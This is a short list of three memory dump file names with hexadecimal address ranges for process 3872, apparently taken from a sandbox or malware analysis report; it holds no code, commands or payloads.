                                                  memory/3872-297-0x0000000000400000-0x0000000000416000-memory.dmp

                                                  memory/3872-308-0x0000000005010000-0x00000000050AC000-memory.dmp

                                                  memory/3872-307-0x0000000004F70000-0x0000000005002000-memory.dmp